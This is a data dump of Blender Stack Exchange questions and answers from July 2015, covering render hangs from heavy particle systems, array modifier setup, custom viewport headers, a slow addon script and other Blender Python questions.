  <row Id="34848" PostTypeId="1" AcceptedAnswerId="34850" CreationDate="2015-07-31T04:20:17.933" Score="2" ViewCount="118" Body="&lt;p&gt;I am using Blender version 2.74 with cycles and I have a scene that I cannot get to render. When I click render it will just stay on the viewport will just show a checkerboard and show no signs of rendering. It seems to be using all of the memory on my computer but barely any of the CPU. This must have something to do with the model because I can easily render other models. I have tried disabling all the particle systems on the one object I am rendering but still nothing will happen.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0BxQSzlIf4gF6WWFmclFxUUN6SkE/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is the link to the .blend if anyone is interested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can help that would be very appreciated. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="16040" LastEditorUserId="894" LastEditDate="2015-07-31T05:26:27.877" LastActivityDate="2015-07-31T05:26:27.877" Title="I cannot get a scene to render in blender" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;particles&gt;&lt;optimization&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34849" PostTypeId="1" CreationDate="2015-07-31T04:37:00.190" Score="6" ViewCount="1151" Body="&lt;p&gt;I'm trying to add a ring of diamonds to a character's wristwatch in a game, and it all works well until I get to testing it in-game, where the diamonds don't really follow the path of the watch at all. I've tried various forms of placement and functions I thought would solve my problem, but nothing has worked so far. Is there a specific blender function that let's me pin and object to another object so that it moves in tandem with it?&lt;/p&gt;&#xA;" OwnerUserId="16041" LastEditorDisplayName="user1853" LastEditDate="2015-07-31T04:54:25.763" LastActivityDate="2018-10-23T16:01:09.707" Title="How do I force objects to follow another object?" Tags="&lt;game-engine&gt;&lt;modifiers&gt;&lt;objects&gt;&lt;snapping&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34850" PostTypeId="2" ParentId="34848" CreationDate="2015-07-31T05:18:45.783" Score="3" Body="&lt;p&gt;Your ParticleSystem2 setup for your pebbles is what is bogging down the render. It's currently set for 30k particles with 100x children to render which I think is the source of your infinite render time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would cut down on the number child particles by quite a bit. I would also use a blend texture from foreground to background to effect the particle density so it would give me more particles near the camera and less particles in the background. You may have to apply the curve modifier to get the blend texture to work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use a pebble texture for the background pebbles instead of actual geometry particles, which will cut down on your particle count as well.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-07-31T05:24:53.090" LastActivityDate="2015-07-31T05:24:53.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34851" PostTypeId="1" AcceptedAnswerId="34853" CreationDate="2015-07-31T07:33:23.367" Score="0" ViewCount="875" Body="&lt;p&gt;The array modifier worked fine for me when I was creating a tire for my model. However when I used it again on this small cylinder, I expect the modifier will rotate the cylinder around the cursor and duplicate them, but it created strange figures as shown in the screenshot after I set it to object offset. Any help is appreciated :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8yli6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8yli6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15885" LastActivityDate="2015-07-31T08:01:09.137" Title="Array Modifier Rotation Problem" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34852" PostTypeId="1" CreationDate="2015-07-31T07:45:42.077" Score="1" ViewCount="384" Body="&lt;p&gt;Here is what I am trying to achieve:&#xA;I have two 3D views&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One for manipulating objects (which needs to have some custom manipulation tools in its header). This view cannot be rotated.&lt;/li&gt;&#xA;&lt;li&gt;A second one used to view the result from any point of view. This one does not allow to interact with the objects of the scene. It can be rotated.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Xz9hg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xz9hg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal here is to hide the manipulators in the right 3d area from the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, of course, there's still a &lt;code&gt;plus sign&lt;/code&gt; that allows the user to reach those features (not only from the toolbar, but on the sides toolshelves, etc, as well). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried different approaches so far.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The most satisfying was to detach the right one into a new window and switch that view to fullscreen (removes anything else but the &lt;code&gt;window&lt;/code&gt; region. But, since my app is small sized on screen, I would like to keep both views in a unique window.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another possibility I tried was to override the draw callback of the header. Of course it leads to removing it from both views:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def my_draw(self, context):&#xA;    #...&#xA;    pass&#xA;bpy.types.VIEW3D_HT_header.draw = my_draw&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Maybe there is a way to distinguish between the areas owning the header, and do the regular &lt;code&gt;draw()&lt;/code&gt; for the left one and leave it empty for the right one (but I don't think so). But an empty header on the right would be more than enough for me.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I also tried to find a way to sort of mimic the way the &lt;code&gt;region_quadviews&lt;/code&gt; work. That would have been a &quot;dualviews&quot; version, but don't really know where to start with that kind of approach.&lt;/li&gt;&#xA;&lt;li&gt;And last thing I've been thinking about was to use another type of area for the right side and override its window region with the one from the left side area (since I won't need an &lt;code&gt;OUTLINER&lt;/code&gt;, neither a &lt;code&gt;RENDER&lt;/code&gt; area). But same problem: I read lot of threads here and there, but couldn't figure out if this is something that can be done, and if so how to implement it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Well, I've read many times that we cannot hide the header via python (just saw a patch allowing it &lt;a href=&quot;https://developer.blender.org/T32788&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, if you guys have an idea about how to get close to one of the options above, or have another approach to suggest (even a simple idea) to help having a behavior that is not to far from was I'm trying to achieve, then thanks for your time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; To be more specific, I have disabled the &lt;code&gt;3D Manipulators&lt;/code&gt; from &lt;code&gt;user prefs&lt;/code&gt; and have a &lt;code&gt;modal operator&lt;/code&gt; running on the left side allowing to deal with manipulating the green objects. And I use the code below to lock this same area from being rotated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Locks: Prevents from any numpad, mouse, ... rotation, as well as&#xA;#        leaving the 'ORTHO' mode&#xA;rv3d.is_perspective = False&#xA;rv3d.lock_rotation = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15348" LastEditorUserId="15348" LastEditDate="2015-07-31T08:02:30.350" LastActivityDate="2019-05-29T23:20:01.740" Title="Custom inteface: Two 3D views with a different header (toolbar)" Tags="&lt;python&gt;&lt;interface&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34853" PostTypeId="2" ParentId="34851" CreationDate="2015-07-31T07:55:02.547" Score="2" Body="&lt;p&gt;There are two issues here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The duplicated cylinder is not the same size and orientation as the original. This is because you have not applied the scale and rotation on the first cylinder. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your cylinders are not being duplicated around a circular path because the origin point of the cylinder should be where the empty is. Snap the cursor to the empty and then select the cylinder and click Object&gt;Transform&gt;Origin to 3D Cursor. Then once you rotate the empty on the Y axis you'll get the circular duplication you want.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Z6Bv4.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z6Bv4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-07-31T08:01:09.137" LastActivityDate="2015-07-31T08:01:09.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34854" PostTypeId="2" ParentId="34852" CreationDate="2015-07-31T08:09:50.127" Score="1" Body="&lt;p&gt;The only way to truly hide portions of the interface from users is to create a custom build of Blender. This would allow you to restrict interface components as well as providing very specific views and screens for your application functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of projects that have done this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fluid Designer (by Microvellum) - &lt;a href=&quot;http://www.microvellum.com/products/fluid-designer/&quot; rel=&quot;nofollow&quot;&gt;http://www.microvellum.com/products/fluid-designer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interactive Pizza Designer by Daniele De Luca - &lt;a href=&quot;https://vimeo.com/68119398&quot; rel=&quot;nofollow&quot;&gt;https://vimeo.com/68119398&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-31T08:09:50.127" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34855" PostTypeId="1" CreationDate="2015-07-31T09:49:00.783" Score="5" ViewCount="368" Body="&lt;p&gt;I made a Blender addon that thickens surfaces like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/cnGqC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cnGqC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You assign the inner surface to a vertex group named InnerGroupTriangle and the outer surface to OuterGroup. The inner surface must be made of triangles. Then you run the script and the outer surface scales away from the inner surface. The script works but is very slow. I can't figure out why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def is_edge_in_group(edge,object,group_id):&#xA;    for v_index in edge.vertices:&#xA;        is_in_group=False&#xA;        for g in object.data.vertices[v_index].groups:&#xA;            if g.group==group_id:&#xA;                is_in_group=True&#xA;                break&#xA;        if not is_in_group:&#xA;            return False&#xA;    return True&#xA;&#xA;def check_if_face_in_vertex_group(vertices,group_index):&#xA;&#xA;    for face_vert in vertices:&#xA;        face_vert_in_group=False&#xA;        for g in face_vert.groups:&#xA;            if g.group == group_index:&#xA;                face_vert_in_group=True&#xA;                break&#xA;        if not face_vert_in_group:&#xA;            return False&#xA;    return True&#xA;&#xA;def is_vertex_in_group(vertex,group_id):&#xA;    for g in vertex.groups:&#xA;        if g.group == group_id:&#xA;            return True&#xA;    return False&#xA;&#xA;def change_vector_basis_from_orthogonal(rootv1,rootv2,rootv3,vector_to_transform):&#xA;    px=vector_to_transform.x&#xA;    py=vector_to_transform.y&#xA;    pz=vector_to_transform.z&#xA;    x1=rootv1.x&#xA;    y1=rootv1.y&#xA;    z1=rootv1.z&#xA;    x2=rootv2.x&#xA;    y2=rootv2.y&#xA;    z2=rootv2.z&#xA;    x3=rootv3.x&#xA;    y3=rootv3.y&#xA;    z3=rootv3.z&#xA;    #print(rootv1,rootv2,rootv3,vector_to_transform)&#xA;    try:&#xA;        a=(pz*(-(x3*y2) + x2*y3))/(-(x3*y2*z1) + x2*y3*z1 + x3*y1*z2 - x1*y3*z2 - x2*y1*z3 + x1*y2*z3) + (py*(x3*z2 - x2*z3))/(-(x3*y2*z1) + x2*y3*z1 + x3*y1*z2 - x1*y3*z2 - x2*y1*z3 + x1*y2*z3) + (px*(-(y3*z2) + y2*z3))/(-(x3*y2*z1) + x2*y3*z1 + x3*y1*z2 - x1*y3*z2 - x2*y1*z3 + x1*y2*z3)&#xA;&#xA;        b=(pz*(x3*y1 - x1*y3))/(-(x3*y2*z1) + x2*y3*z1 + x3*y1*z2 - x1*y3*z2 - x2*y1*z3 + x1*y2*z3) + (py*(-(x3*z1) + x1*z3))/(-(x3*y2*z1) + x2*y3*z1 + x3*y1*z2 - x1*y3*z2 - x2*y1*z3 + x1*y2*z3) + (px*(y3*z1 - y1*z3))/(-(x3*y2*z1) + x2*y3*z1 + x3*y1*z2 - x1*y3*z2 - x2*y1*z3 + x1*y2*z3)&#xA;&#xA;        c=  (pz*(-(x2*y1) + x1*y2))/(-(x3*y2*z1) + x2*y3*z1 + x3*y1*z2 - x1*y3*z2 - x2*y1*z3 + x1*y2*z3) + (py*(x2*z1 - x1*z2))/(-(x3*y2*z1) + x2*y3*z1 + x3*y1*z2 - x1*y3*z2 - x2*y1*z3 + x1*y2*z3) + (px*(-(y2*z1) + y1*z2))/(-(x3*y2*z1) + x2*y3*z1 + x3*y1*z2 - x1*y3*z2 - x2*y1*z3 + x1*y2*z3)&#xA;    except ZeroDivisionError:&#xA;        #print (rootv1,rootv2,rootv3,vector_to_transform)&#xA;        return (-1,-1,-1)&#xA;    return (a,b,c)&#xA;&#xA;&#xA;&#xA;def calculate_root_vectors_and_transform_vertex(point,edge,ob,ig_polygons):&#xA;&#xA;    vertices_in_edge=[ob.data.vertices[x] for x in edge.vertices]&#xA;    #print(list(vertices_in_edge))&#xA;&#xA;    polygons=ig_polygons&#xA;    polygons_next_to_edge=[]&#xA;&#xA;    for polygon in polygons:#finds the faces next to the edge&#xA;        edge_in_polygon=True&#xA;        for v_index in edge.vertices:&#xA;            if not v_index in polygon.vertices:&#xA;                edge_in_polygon=False&#xA;                break&#xA;        if edge_in_polygon:&#xA;            polygons_next_to_edge.append(polygon)&#xA;        if len(polygons_next_to_edge)==2:&#xA;            break&#xA;&#xA;    edge_vector=(vertices_in_edge[1].co-vertices_in_edge[0].co)&#xA;    if len(polygons_next_to_edge)==2:#edge next to two faces&#xA;        second_face_normal=polygons_next_to_edge[1].normal&#xA;    if len(polygons_next_to_edge)==1:#if edge is next to only one face, condider the normal of the other face to be perpendicular to the edge and the only face's normal, away from the face.&#xA;&#xA;        normal = polygons_next_to_edge[0].normal&#xA;        for edge_face_vertex_index in polygons_next_to_edge[0].vertices:#finds the vertex on the face next to the edge that isn't in the edge&#xA;            if not edge_face_vertex_index in edge.vertices:&#xA;                face_vertex_not_in_edge=ob.data.vertices[edge_face_vertex_index]&#xA;                break&#xA;&#xA;        cross=edge_vector.cross(face_vertex_not_in_edge.co-vertices_in_edge[0].co)&#xA;        direction=1&#xA;        if normal.x !=0:&#xA;            if cross.x/normal.x &amp;lt;0:&#xA;                direction = -1&#xA;        elif normal.y !=0:&#xA;            if cross.y/normal.y &amp;lt;0:&#xA;                direction = -1&#xA;        else:&#xA;            if cross.z/normal.z &amp;lt;0:&#xA;                direction = -1&#xA;&#xA;        second_face_normal=direction*edge_vector.cross(polygons_next_to_edge[0].normal)&#xA;&#xA;&#xA;    (a,b,c)=change_vector_basis_from_orthogonal(edge_vector,polygons_next_to_edge[0].normal,second_face_normal,point)&#xA;    return (edge_vector,polygons_next_to_edge[0].normal,second_face_normal,a,b,c)&#xA;&#xA;def try_to_move_relative_to_edge(point,ob,ig_edges,multiplier,ig_polygons):&#xA;    adequete_edge_and_distance=()&#xA;    for edge in ig_edges:#lets go through edges and find the one that is closest to the point &#xA;        (edge_vector,normal1,normal2,a,b,c)=calculate_root_vectors_and_transform_vertex(point.co-ob.data.vertices[edge.vertices[0]].co,edge,ob,ig_polygons)&#xA;        #print (edge_vector,normal1,normal2,a,b,c)&#xA;        distance=(b*normal1+c*normal2).length&#xA;&#xA;        if (len(adequete_edge_and_distance)==0 or distance&amp;lt;adequete_edge_and_distance[1])and 0&amp;lt;=a&amp;lt;=1 and 0&amp;lt;=b and 0&amp;lt;=c:&#xA;            adequete_edge_and_distance=(edge,distance)&#xA;&#xA;    if not len(adequete_edge_and_distance)==0:&#xA;        adequete_edge=adequete_edge_and_distance[0]&#xA;        (edge_vector,normal1,normal2,a,b,c)=calculate_root_vectors_and_transform_vertex(point.co-ob.data.vertices[adequete_edge_and_distance[0].vertices[0]].co,adequete_edge,ob,ig_polygons)&#xA;&#xA;        point.co=a*edge_vector+multiplier*b*normal1+multiplier*c*normal2+ob.data.vertices[adequete_edge.vertices[0]].co&#xA;        return True&#xA;    return False&#xA;&#xA;&#xA;&#xA;&#xA;ob = bpy.context.object&#xA;multiplier = 2&#xA;print (&quot;start&quot;)&#xA;&#xA;ogi = ob.vertex_groups[&quot;OuterGroup&quot;].index # get group index&#xA;igi= ob.vertex_groups[&quot;InnerGroupTriangle&quot;].index &#xA;ig_edges=[x for x in ob.data.edges if is_edge_in_group(x,ob,igi)]&#xA;ig_polygons=[x for x in ob.data.polygons if check_if_face_in_vertex_group([ob.data.vertices[i] for i in x.vertices],igi)]&#xA;ig_vertices=[x for x in ob.data.vertices if is_vertex_in_group(x,igi)]&#xA;i=0&#xA;to_go_trough=len(ob.data.vertices)&#xA;for v in ob.data.vertices:&#xA;    i+=1&#xA;    print(i,&quot;/&quot;,to_go_trough)&#xA;    #input(&quot;Press Enter to continue...&quot;)&#xA;    if is_vertex_in_group(v,ogi):#go through only vertices that are in outer group&#xA;&#xA;        projection_was_made=False&#xA;        adequate_polygon_and_distance=()&#xA;&#xA;        #print(&quot;############# vertex:&quot;,v,v.co,&quot;*************&quot;)&#xA;        for polygon in ig_polygons:&#xA;            verts_in_face = polygon.vertices[:]&#xA;            #print(verts_in_face,&quot; checking&quot;)&#xA;&#xA;&#xA;            #print(verts_in_face,&quot;in inner group&quot;)&#xA;            (a,b,c)=change_vector_basis_from_orthogonal(ob.data.vertices[verts_in_face[1]].co-ob.data.vertices[verts_in_face[0]].co  ,ob.data.vertices[verts_in_face[2]].co-ob.data.vertices[verts_in_face[0]].co,polygon.normal,    v.co-ob.data.vertices[verts_in_face[0]].co)&#xA;            #print(&quot;a:&quot;,a,&quot;b:&quot;,b,&quot;c:&quot;,c)&#xA;&#xA;            if 0&amp;lt;=a and 0&amp;lt;=b and a+b&amp;lt;=1 and 0&amp;lt;=c:&#xA;                #print(&quot;abc in range&quot;)&#xA;                if len(adequate_polygon_and_distance)==0 or c &amp;lt; adequate_polygon_and_distance[1]:&#xA;                    #print(&quot;cccccccccccccc&quot;,c)&#xA;                    adequate_polygon_and_distance=(polygon,c)&#xA;&#xA;&#xA;        if len(adequate_polygon_and_distance)&amp;gt;0:&#xA;            #print(adequate_polygon_and_distance[0].vertices[:],&quot;//////////////////////////////////&quot;)&#xA;&#xA;            verts_in_face = adequate_polygon_and_distance[0].vertices[:]&#xA;            (a,b,c)=change_vector_basis_from_orthogonal(ob.data.vertices[verts_in_face[1]].co-ob.data.vertices[verts_in_face[0]].co  ,ob.data.vertices[verts_in_face[2]].co-ob.data.vertices[verts_in_face[0]].co,adequate_polygon_and_distance[0].normal,    v.co-ob.data.vertices[verts_in_face[0]].co)&#xA;            #print(a,b,c)&#xA;            v.co=a*(ob.data.vertices[verts_in_face[1]].co-ob.data.vertices[verts_in_face[0]].co)+b*(ob.data.vertices[verts_in_face[2]].co-ob.data.vertices[verts_in_face[0]].co)+multiplier*c*adequate_polygon_and_distance[0].normal+ob.data.vertices[verts_in_face[0]].co&#xA;            print(&quot;polygon&quot;)&#xA;            projection_was_made=True&#xA;&#xA;        if not projection_was_made:#vertex v wasn't above a face in inner group&#xA;            #print(&quot;edges&quot;)&#xA;            if try_to_move_relative_to_edge(v,ob,ig_edges,multiplier,ig_polygons):&#xA;                print(&quot;edge&quot;)&#xA;                projection_was_made=True&#xA;&#xA;&#xA;        if  not projection_was_made:#vertex v wasn't above an edge in inner group&#xA;            print(&quot;vertex&quot;)&#xA;            point=v&#xA;            vertex_and_distance=()&#xA;            for inner_vertex in ig_vertices:&#xA;                if (len(vertex_and_distance)==0 or vertex_and_distance[1]&amp;gt;(inner_vertex.co-point.co).length):&#xA;                    #print(&quot;sdfsdf&quot;)&#xA;                    vertex_and_distance=(inner_vertex,(inner_vertex.co-point.co).length)&#xA;&#xA;&#xA;&#xA;            point.co=vertex_and_distance[0].co+multiplier*(point.co-vertex_and_distance[0].co)&#xA;    #bpy.context.scene.objects.active = bpy.context.scene.objects.active&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16047" LastActivityDate="2018-11-18T23:00:40.100" Title="Why is my addon so slow?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34856" PostTypeId="1" CreationDate="2015-07-31T09:53:04.940" Score="2" ViewCount="403" Body="&lt;p&gt;I can see group bounding box so it covers all the group objects but how to get those coordinates ?&lt;/p&gt;&#xA;" OwnerUserId="7474" LastActivityDate="2015-07-31T15:06:31.373" Title="Python:Bounding box coordinates of group instance (empty object)" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34857" PostTypeId="1" CreationDate="2015-07-31T10:08:32.443" Score="1" ViewCount="63" Body="&lt;p&gt;I'm quite new to blender and I cant find a way or the option to change the principal axis of a project i.e. from Z axis pointing up I want the Y axis to point up in such a way that the Z axis signifies depth in the scene. I am trying to change this due to the need to see how I will be able to debug the renders that I am doing through code. I would appreciate if anybody would guide me though this. &lt;/p&gt;&#xA;" OwnerUserId="16048" LastEditorUserId="3710" LastEditDate="2015-07-31T10:24:15.670" LastActivityDate="2015-07-31T10:24:15.670" Title="Changing the principal axis in blender" Tags="&lt;workflow&gt;&lt;customization&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-07-31T14:00:13.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="34858" PostTypeId="2" ParentId="34831" CreationDate="2015-07-31T10:10:55.510" Score="5" Body="&lt;p&gt;Topology alone will not do much for you. It's about how the bones influence/deform the topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To minimize pinching in such areas you can do 4 things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;https://www.blender.org/manual/es/modeling/modifiers/deform/corrective_smooth.html&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Corrective Smooth&lt;/em&gt; modifier&lt;/a&gt; after the &lt;em&gt;Armature&lt;/em&gt; modifier. This is designed for this problem (new in Blender 2.75). Use the vertex group input to influence what regions to smooth.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the bones point of rotation (this will change the radius at which the vertices rotate when bone rotates).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Smooth the deformation influence - couple options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;smooth bone weights or smooth them across multiple bones&lt;/li&gt;&#xA;&lt;li&gt;use low-poly lattice or mesh deform to deform the mesh, deform the lattice/meshdeform with armature - this smooths the deformation&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use corrective shapekeys driven by bones.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2016-08-27T15:35:50.013" LastActivityDate="2016-08-27T15:35:50.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34859" PostTypeId="1" CreationDate="2015-07-31T10:17:18.270" Score="9" ViewCount="3003" Body="&lt;p&gt;I've attached a function to the frame change handler:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.app.handlers.frame_change_pre.append(someFunc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All works fine when I drag the slider on the Timeline. But when I render with the &quot;Animation&quot; button, it doesn't work. I found that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Blender offers only a limited set of API functions while rendering. (See also the answer by Jerryno to another question: &lt;a href=&quot;https://blender.stackexchange.com/questions/28432/accessing-screen-areas-from-render-handler&quot;&gt;Accessing screen areas from render handler&lt;/a&gt;) Is there any form of documentation, why this is the case and which functions can be accessed while rendering, and which cannot?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blender doesn't wait for a script updating the scene before it advances to render the next frame. Is there by chance a API call that makes Blender wait for a script to finish before rendering on?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the answer to both questions is &quot;no&quot;, is there maybe a script that offers animation rendering with manual frame advance, like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Render the first frame, apply postpro etc, write it to correct file&#xA;name  &lt;/li&gt;&#xA;&lt;li&gt;Go back to the viewport, advance a frame&lt;/li&gt;&#xA;&lt;li&gt;Render next frame, apply postpro* etc...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;*With postpro(duction) I mean apply everything what the compositor would do in the the regular rendering pipeline, if compositing is switched on.&lt;/p&gt;&#xA;" OwnerUserId="8235" LastEditorUserId="29301" LastEditDate="2018-10-30T21:38:21.033" LastActivityDate="2019-01-06T23:00:50.243" Title="Execute Python script between rendering animation frames" Tags="&lt;python&gt;&lt;rendering&gt;&lt;animation&gt;&lt;scripting&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="34860" PostTypeId="1" AcceptedAnswerId="34862" CreationDate="2015-07-31T10:43:19.770" Score="8" ViewCount="2968" Body="&lt;p&gt;For what I understood, I know that an object can be deleted by running &lt;code&gt;bpy.ops.object.delete()&lt;/code&gt; when that object is active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I verify that the object is deleted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;o = bpy.context.active_object # object I want to delete&#xA;print(is_deleted(o)) # False&#xA;bpy.ops.object.delete()&#xA;print(is_deleted(o)) # True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What should I write in the function &lt;code&gt;is_deleted&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerDisplayName="user16046" LastActivityDate="2015-08-02T10:27:09.570" Title="How to check if an object is deleted?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34861" PostTypeId="2" ParentId="34751" CreationDate="2015-07-31T10:58:05.193" Score="7" Body="&lt;p&gt;I think you will run into problems with such complex paths/curves. Extrude might work but I think beveling wont work well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an embossed look I would use the image as a bump map/texture/heigh map:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a plane in blender, UV-unwrap it and add your image as a bump map. You should unsharpen your image for a smooth beveling effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FxnQN.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FxnQN.jpg&quot; alt=&quot;play with the strenght and distance values in the bump node&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could even mix differently smoothed images together for a more distinct look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u2suP.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u2suP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16031" LastActivityDate="2015-07-31T10:58:05.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34862" PostTypeId="2" ParentId="34860" CreationDate="2015-07-31T11:06:14.163" Score="7" Body="&lt;p&gt;I would do it by object name&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def is_deleted(o):&#xA;    return not (o.name in bpy.data.objects)&#xA;&#xA;# or instead of a function,&#xA;# obj will be None if the object isn't found, &#xA;# else it returns the obj reference&#xA;obj = bpy.data.objects.get(o.name)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-02T10:27:09.570" LastActivityDate="2015-08-02T10:27:09.570" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
